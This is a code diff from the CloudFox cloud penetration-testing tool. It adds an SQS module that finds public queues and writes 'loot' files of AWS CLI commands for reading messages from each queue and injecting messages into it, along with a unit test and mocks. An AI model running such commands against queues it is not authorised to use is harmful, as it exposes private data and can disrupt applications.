|
||||
func (c *mockedSNSClient) ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error) {
|
||||
out := sns.ListTopicsOutput{}
|
||||
|
||||
region := c.getRequestedRegion(optFns...)
|
||||
|
||||
for arn := range c.Topics {
|
||||
if getRegionFromTopicARN(arn) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
out.Topics = append(out.Topics, types.Topic{
|
||||
TopicArn: aws.String(arn),
|
||||
})
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func (c *mockedSNSClient) GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error) {
|
||||
out := sns.GetTopicAttributesOutput{}
|
||||
|
||||
if params.TopicArn == nil {
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
region := c.getRequestedRegion(optFns...)
|
||||
|
||||
out.Attributes = make(map[string]string)
|
||||
|
||||
for arn, attributes := range c.Topics {
|
||||
if arn != *params.TopicArn {
|
||||
continue
|
||||
}
|
||||
|
||||
if getRegionFromTopicARN(arn) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
for k, v := range attributes {
|
||||
out.Attributes[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
|
||||
var reGetRegionFromTopicARN = regexp.MustCompile(`arn:aws:sns:([a-z0-9-]+):[0-9]+:`)
|
||||
|
||||
func getRegionFromTopicARN(url string) string {
|
||||
match := reGetRegionFromTopicARN.FindStringSubmatch(url)
|
||||
if len(match) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return match[1]
|
||||
}
|
||||
|
||||
func (c *mockedSNSClient) getRequestedRegion(optFns ...func(*sns.Options)) string {
|
||||
opts := &sns.Options{}
|
||||
for _, optFn := range optFns {
|
||||
optFn(opts)
|
||||
}
|
||||
|
||||
return opts.Region
|
||||
}
|
||||
+428
@@ -0,0 +1,428 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"unicode/utf8"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/internal/aws/policy"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/bishopfox/awsservicemap"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type SQSModule struct {
|
||||
// General configuration data
|
||||
SQSClient AWSSQSClient
|
||||
|
||||
StorePolicies bool
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
Queues []Queue
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
}
|
||||
|
||||
type AWSSQSClient interface {
|
||||
ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error)
|
||||
GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error)
|
||||
}
|
||||
|
||||
type Queue struct {
|
||||
URL string
|
||||
Name string
|
||||
Arn string
|
||||
Region string
|
||||
Policy policy.Policy
|
||||
PolicyJSON string
|
||||
Access string
|
||||
IsPublic string
|
||||
IsConditionallyPublic string
|
||||
Statement string
|
||||
Actions string
|
||||
ConditionText string
|
||||
ResourcePolicySummary string
|
||||
}
|
||||
|
||||
func (m *SQSModule) PrintSQS(outputFormat string, outputDirectory string, verbosity int) {
|
||||
// These stuct values are used by the output module
|
||||
m.output.Verbosity = verbosity
|
||||
m.output.Directory = outputDirectory
|
||||
m.output.CallingModule = "sqs"
|
||||
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
|
||||
"module": m.output.CallingModule,
|
||||
})
|
||||
if m.AWSProfile == "" {
|
||||
m.AWSProfile = internal.BuildAWSPath(m.Caller)
|
||||
}
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating SQS queues for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
|
||||
wg := new(sync.WaitGroup)
|
||||
semaphore := make(chan struct{}, m.Goroutines)
|
||||
|
||||
// Create a channel to signal the spinner aka task status goroutine to finish
|
||||
spinnerDone := make(chan bool)
|
||||
//fire up the the task status spinner/updated
|
||||
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
|
||||
|
||||
//create a channel to receive the objects
|
||||
dataReceiver := make(chan Queue)
|
||||
|
||||
// Create a channel to signal to stop
|
||||
receiverDone := make(chan bool)
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
// Send a message to the data receiver goroutine to close the channel and stop
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// add - if struct is not empty do this. otherwise, dont write anything.
|
||||
m.output.Headers = []string{
|
||||
"Arn",
|
||||
"Public?",
|
||||
"Resource Policy Summary",
|
||||
}
|
||||
|
||||
sort.SliceStable(m.Queues, func(i, j int) bool {
|
||||
return m.Queues[i].URL < m.Queues[j].URL
|
||||
})
|
||||
|
||||
// Table rows
|
||||
for i := range m.Queues {
|
||||
m.output.Body = append(
|
||||
m.output.Body,
|
||||
[]string{
|
||||
m.Queues[i].Arn,
|
||||
m.Queues[i].IsPublic,
|
||||
m.Queues[i].ResourcePolicySummary,
|
||||
},
|
||||
)
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
//m.output.OutputSelector(outputFormat)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s queues found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No queues found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
|
||||
|
||||
}
|
||||
|
||||
func (m *SQSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("sqs", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
wg.Add(1)
|
||||
m.getSQSRecordsPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
}
|
||||
func (m *SQSModule) Receiver(receiver chan Queue, receiverDone chan bool) {
|
||||
defer close(receiverDone)
|
||||
for {
|
||||
select {
|
||||
case data := <-receiver:
|
||||
m.Queues = append(m.Queues, data)
|
||||
case <-receiverDone:
|
||||
receiverDone <- true
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SQSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
|
||||
path := filepath.Join(outputDirectory, "loot")
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
lootCommandsFile := filepath.Join(path, "sqs-commands.txt")
|
||||
|
||||
var out string
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
|
||||
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
|
||||
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
|
||||
out = out + fmt.Sprintln("#############################################")
|
||||
out = out + fmt.Sprintln("")
|
||||
|
||||
for _, queue := range m.Queues {
|
||||
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
|
||||
out = out + fmt.Sprintf("# Queue: %s\n", queue.Name)
|
||||
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(queue.Name)+7))
|
||||
out = out + fmt.Sprintln("# Receive a message from the queue ")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. In production environments, use this command with caution")
|
||||
out = out + fmt.Sprintln("# WARNING: and in coordination with application owners. Receiving a message does not delete it from the queue, but this action")
|
||||
out = out + fmt.Sprintln("# WARNING: can potentially cause latency or it could DoS applications that consume the queue messages")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs receive-message --queue-url %s --attribute-names All --message-attribute-names All --max-number-of-messages 5 --visibility-timeout 0\n\n", queue.Region, queue.URL)
|
||||
out = out + fmt.Sprintln("# Send a message to the queue without attributes file")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY]\"\n\n", queue.Region, queue.URL)
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# Send message to the queue with attributes file (You'll have to create and populate the file)")
|
||||
out = out + fmt.Sprintln("")
|
||||
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
|
||||
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
|
||||
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
|
||||
out = out + fmt.Sprintf("aws --profile $profile --region %s sqs send-message --queue-url %s --message-body \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", queue.Region, queue.URL)
|
||||
|
||||
}
|
||||
|
||||
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
fmt.Println()
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
|
||||
fmt.Print(out)
|
||||
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
|
||||
|
||||
}
|
||||
|
||||
func (m *SQSModule) getSQSRecordsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Queue) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
semaphore <- struct{}{}
|
||||
defer func() {
|
||||
<-semaphore
|
||||
}()
|
||||
|
||||
ListQueues, err := m.listQueues(r)
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
|
||||
for _, url := range ListQueues {
|
||||
queue, err := m.getQueueWithAttributes(url, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
|
||||
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
|
||||
queue.IsPublic = "No"
|
||||
|
||||
if !queue.Policy.IsEmpty() {
|
||||
m.analyseQueuePolicy(queue, dataReceiver)
|
||||
} else {
|
||||
// If the queue policy "resource policy" is empty, the only principals that have permisisons
|
||||
// are those that are granted access by IAM policies
|
||||
//queue.Access = "Private. Access allowed by IAM policies"
|
||||
queue.Access = "Only intra-account access (via IAM) allowed"
|
||||
dataReceiver <- *queue
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (m *SQSModule) listQueues(region string) ([]string, error) {
|
||||
var PaginationControl *string
|
||||
var queues []string
|
||||
|
||||
for {
|
||||
ListQueues, err := m.SQSClient.ListQueues(
|
||||
context.TODO(),
|
||||
&sqs.ListQueuesInput{
|
||||
MaxResults: aws.Int32(1000),
|
||||
NextToken: PaginationControl,
|
||||
},
|
||||
func(o *sqs.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("ListQueues() failed: %s", err)
|
||||
}
|
||||
|
||||
for _, url := range ListQueues.QueueUrls {
|
||||
queues = append(queues, url)
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListQueues.NextToken != nil {
|
||||
PaginationControl = ListQueues.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return queues, nil
|
||||
}
|
||||
|
||||
func (m *SQSModule) getQueueWithAttributes(queueURL string, region string) (*Queue, error) {
|
||||
queue := &Queue{
|
||||
URL: queueURL,
|
||||
}
|
||||
|
||||
GetQueueAttributes, err := m.SQSClient.GetQueueAttributes(
|
||||
context.TODO(),
|
||||
&sqs.GetQueueAttributesInput{
|
||||
QueueUrl: aws.String(queueURL),
|
||||
AttributeNames: []types.QueueAttributeName{
|
||||
types.QueueAttributeNamePolicy,
|
||||
types.QueueAttributeNameQueueArn,
|
||||
},
|
||||
},
|
||||
func(o *sqs.Options) {
|
||||
o.Region = region
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("GetQueueAttributes(%s) failed: %s", queueURL, err)
|
||||
}
|
||||
|
||||
if queueArn, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNameQueueArn)]; ok {
|
||||
parsedArn, err := arn.Parse(queueArn)
|
||||
if err != nil {
|
||||
queue.Name = queueArn
|
||||
}
|
||||
queue.Arn = queueArn
|
||||
queue.Name = parsedArn.Resource
|
||||
queue.Region = parsedArn.Region
|
||||
}
|
||||
|
||||
if policyJSON, ok := GetQueueAttributes.Attributes[string(types.QueueAttributeNamePolicy)]; ok {
|
||||
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("parsing queue access policy (%s) as JSON: %s", queueURL, err)
|
||||
}
|
||||
|
||||
queue.PolicyJSON = policyJSON
|
||||
queue.Policy = policy
|
||||
}
|
||||
|
||||
return queue, nil
|
||||
}
|
||||
|
||||
func (m *SQSModule) analyseQueuePolicy(queue *Queue, dataReceiver chan Queue) {
|
||||
m.storeAccessPolicy(queue)
|
||||
|
||||
if queue.Policy.IsPublic() && !queue.Policy.IsConditionallyPublic() {
|
||||
queue.IsPublic = "YES"
|
||||
}
|
||||
|
||||
for i, statement := range queue.Policy.Statement {
|
||||
var prefix string = ""
|
||||
if len(queue.Policy.Statement) > 1 {
|
||||
prefix = fmt.Sprintf("Statement %d says: ", i)
|
||||
queue.ResourcePolicySummary = queue.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
} else {
|
||||
queue.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
|
||||
}
|
||||
queue.ResourcePolicySummary = strings.TrimSuffix(queue.ResourcePolicySummary, "\n")
|
||||
|
||||
}
|
||||
dataReceiver <- *queue
|
||||
}
|
||||
|
||||
func (m *SQSModule) storeAccessPolicy(queue *Queue) {
|
||||
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getQueueName(queue.URL)))
|
||||
|
||||
if err := m.storeFile(f, queue.PolicyJSON); err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *SQSModule) getLootDir() string {
|
||||
return filepath.Join(m.output.FilePath, "loot", "sqs-policies")
|
||||
}
|
||||
|
||||
func (m *SQSModule) getQueueName(url string) string {
|
||||
tokens := strings.SplitN(url, "/", 5)
|
||||
if len(tokens) != 5 {
|
||||
return ""
|
||||
}
|
||||
return tokens[4]
|
||||
}
|
||||
|
||||
func (m *SQSModule) storeFile(filename string, policy string) error {
|
||||
err := os.MkdirAll(filepath.Dir(filename), 0750)
|
||||
if err != nil && !os.IsExist(err) {
|
||||
return fmt.Errorf("creating parent dirs: %s", err)
|
||||
}
|
||||
|
||||
return os.WriteFile(filename, []byte(policy), 0644)
|
||||
|
||||
}
|
||||
+144
@@ -0,0 +1,144 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sqs/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/spf13/afero"
|
||||
)
|
||||
|
||||
func TestSQSQueues(t *testing.T) {
|
||||
c := &mockedSQSClient{
|
||||
Queues: map[string]map[string]string{
|
||||
"https://sqs.us-east-1.amazonaws.com/123456789012/policy-queue": {
|
||||
string(types.QueueAttributeNamePolicy): `{"Version": "2012-10-17","Id": "anyID","Statement": [{"Sid":"unconditionally_public","Effect": "Allow","Principal": {"AWS": "*"},"Action": "sqs:*","Resource": "arn:aws:sqs:*:123456789012:some-queue"}]}`,
|
||||
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:policy-queue`,
|
||||
},
|
||||
"https://sqs.us-west-1.amazonaws.com/123456789012/no-policy-queue": {
|
||||
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:no-policy-queue`,
|
||||
},
|
||||
"https://sqs.us-east-1.amazonaws.com/123456789012/condition-queue": {
|
||||
string(types.QueueAttributeNamePolicy): `{"Version":"2012-10-17","Id":"SQS-Account-Policy","Statement":[{"Sid":"Allows3Access","Effect":"Allow","Principal":{"Service":"s3.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowRoleAccess","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::123456789012:root"},"Action":"SQS:*","Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"},{"Sid":"AllowFullAccess","Effect":"Allow","Principal":"*","Action":["SQS:SendMessage","SQS:ReceiveMessage"],"Resource":"arn:aws:sqs:us-west-2:123456789012:terraform-example-queue"}]}`,
|
||||
string(types.QueueAttributeNameQueueArn): `arn:aws:sqs:us-east-1:123456789012:condition-queue`,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
m := SQSModule{
|
||||
SQSClient: c,
|
||||
AWSProfile: "unittesting",
|
||||
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
|
||||
Caller: sts.GetCallerIdentityOutput{
|
||||
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
|
||||
Account: aws.String("123456789012"),
|
||||
},
|
||||
Goroutines: 3,
|
||||
}
|
||||
|
||||
fs := internal.MockFileSystem(true)
|
||||
defer internal.MockFileSystem(false)
|
||||
tmpDir := "."
|
||||
|
||||
// execute the module with verbosity set to 2
|
||||
m.PrintSQS("table", tmpDir, 2)
|
||||
|
||||
resultsFilePath := filepath.Join(tmpDir, "cloudfox-output/aws/123456789012-unittesting/table/sqs.txt")
|
||||
resultsFile, err := afero.ReadFile(fs, resultsFilePath)
|
||||
if err != nil {
|
||||
t.Fatalf("Cannot read output file at %s: %s", resultsFilePath, err)
|
||||
}
|
||||
expectedResults := strings.TrimLeft(`
|
||||
╭────────────────────────────────────────────────────┬─────────┬─────────────────────────────────────────────────────────────────────────╮
|
||||
│ Arn │ Public? │ Resource Policy Summary │
|
||||
├────────────────────────────────────────────────────┼─────────┼─────────────────────────────────────────────────────────────────────────┤
|
||||
│ arn:aws:sqs:us-east-1:123456789012:condition-queue │ YES │ Statement 0 says: s3.amazonaws.com can SQS:SendMessage │
|
||||
│ │ │ Statement 1 says: arn:aws:iam::123456789012:root can SQS:* │
|
||||
│ │ │ Statement 2 says: Everyone can SQS:SendMessage & can SQS:ReceiveMessage │
|
||||
│ arn:aws:sqs:us-east-1:123456789012:policy-queue │ YES │ * can sqs:* │
|
||||
│ arn:aws:sqs:us-east-1:123456789012:no-policy-queue │ No │ │
|
||||
╰────────────────────────────────────────────────────┴─────────┴─────────────────────────────────────────────────────────────────────────╯
|
||||
`, "\n")
|
||||
if string(resultsFile) != expectedResults {
|
||||
t.Fatalf("Unexpected results:\n%s\n", resultsFile)
|
||||
}
|
||||
}
|
||||
|
||||
/// ########## Mocks ##########
|
||||
|
||||
// mockedSQSClient can return data about a hardcoded set of queues
|
||||
type mockedSQSClient struct {
|
||||
Queues map[string]map[string]string // map of queue URL to attributes (which are maps of string names to string values)
|
||||
}
|
||||
|
||||
func (c *mockedSQSClient) ListQueues(ctx context.Context, params *sqs.ListQueuesInput, optFns ...func(*sqs.Options)) (*sqs.ListQueuesOutput, error) {
|
||||
out := sqs.ListQueuesOutput{}
|
||||
|
||||
region := getRequestedRegion(optFns...)
|
||||
|
||||
for url := range c.Queues {
|
||||
if getRegionFromQueueURL(url) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
out.QueueUrls = append(out.QueueUrls, url)
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
func (c *mockedSQSClient) GetQueueAttributes(ctx context.Context, params *sqs.GetQueueAttributesInput, optFns ...func(*sqs.Options)) (*sqs.GetQueueAttributesOutput, error) {
|
||||
out := sqs.GetQueueAttributesOutput{}
|
||||
|
||||
if params.QueueUrl == nil {
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
region := getRequestedRegion(optFns...)
|
||||
|
||||
out.Attributes = make(map[string]string)
|
||||
|
||||
for url, attributes := range c.Queues {
|
||||
if url != *params.QueueUrl {
|
||||
continue
|
||||
}
|
||||
|
||||
if getRegionFromQueueURL(url) != region {
|
||||
continue
|
||||
}
|
||||
|
||||
for k, v := range attributes {
|
||||
out.Attributes[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
return &out, nil
|
||||
}
|
||||
|
||||
// Example: https://sqs.us-east-1.amazonaws.com/123456789012/some-name
|
||||
var reGetRegionFromQueueURL = regexp.MustCompile(`https://sqs.([a-z0-9-]+).amazonaws.com`)
|
||||
|
||||
func getRegionFromQueueURL(url string) string {
|
||||
match := reGetRegionFromQueueURL.FindStringSubmatch(url)
|
||||
if len(match) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
return match[1]
|
||||
}
|
||||
|
||||
func getRequestedRegion(optFns ...func(*sqs.Options)) string {
|
||||
opts := &sqs.Options{}
|
||||
for _, optFn := range optFns {
|
||||
optFn(opts)
|
||||
}
|
||||
|
||||
return opts.Region
|
||||
}
|
||||
+103
-55
@@ -13,20 +13,26 @@ import (
|
||||
"github.com/aws/aws-sdk-go-v2/aws"
|
||||
"github.com/aws/aws-sdk-go-v2/aws/arn"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi"
|
||||
"github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi/types"
|
||||
"github.com/aws/aws-sdk-go-v2/service/sts"
|
||||
"github.com/sirupsen/logrus"
|
||||
)
|
||||
|
||||
type TagsGetResourcesAPI interface {
|
||||
GetResources(ctx context.Context, params *resourcegroupstaggingapi.GetResourcesInput, optFns ...func(*resourcegroupstaggingapi.Options)) (*resourcegroupstaggingapi.GetResourcesOutput, error)
|
||||
}
|
||||
|
||||
type TagsModule struct {
|
||||
// General configuration data
|
||||
ResourceGroupsTaggingApiClient *resourcegroupstaggingapi.Client
|
||||
ResourceGroupsTaggingApiInterface TagsGetResourcesAPI
|
||||
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
Caller sts.GetCallerIdentityOutput
|
||||
AWSRegions []string
|
||||
OutputFormat string
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
MaxResourcesPerRegion int
|
||||
|
||||
// Main module data
|
||||
Tags []Tag
|
||||
@@ -127,13 +133,33 @@ func (m *TagsModule) PrintTags(outputFormat string, outputDirectory string, verb
|
||||
|
||||
}
|
||||
if len(m.output.Body) > 0 {
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
|
||||
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
|
||||
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
|
||||
//m.writeLoot(m.output.FilePath, verbosity)
|
||||
o := internal.OutputClient{
|
||||
Verbosity: verbosity,
|
||||
CallingModule: m.output.CallingModule,
|
||||
Table: internal.TableClient{
|
||||
Wrap: m.WrapTable,
|
||||
},
|
||||
}
|
||||
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
|
||||
Header: m.output.Headers,
|
||||
Body: m.output.Body,
|
||||
Name: m.output.CallingModule,
|
||||
})
|
||||
o.PrefixIdentifier = m.AWSProfile
|
||||
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
|
||||
o.WriteFullOutput(o.Table.TableFiles, nil)
|
||||
//m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
|
||||
fmt.Printf("[%s][%s] %s tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
|
||||
count := m.countUniqueResourcesWithTags()
|
||||
fmt.Printf("[%s][%s] %d unique resources with tags found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), count)
|
||||
if m.MaxResourcesPerRegion != 0 {
|
||||
fmt.Printf("[%s][%s] NOTE: Only looked at %d resources per region. To enum all tags for all resources,\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.MaxResourcesPerRegion)
|
||||
fmt.Printf("[%s][%s] NOTE: run the tags command without the -m/--max-resources-per-region flag set.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("[%s][%s] No tags found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
}
|
||||
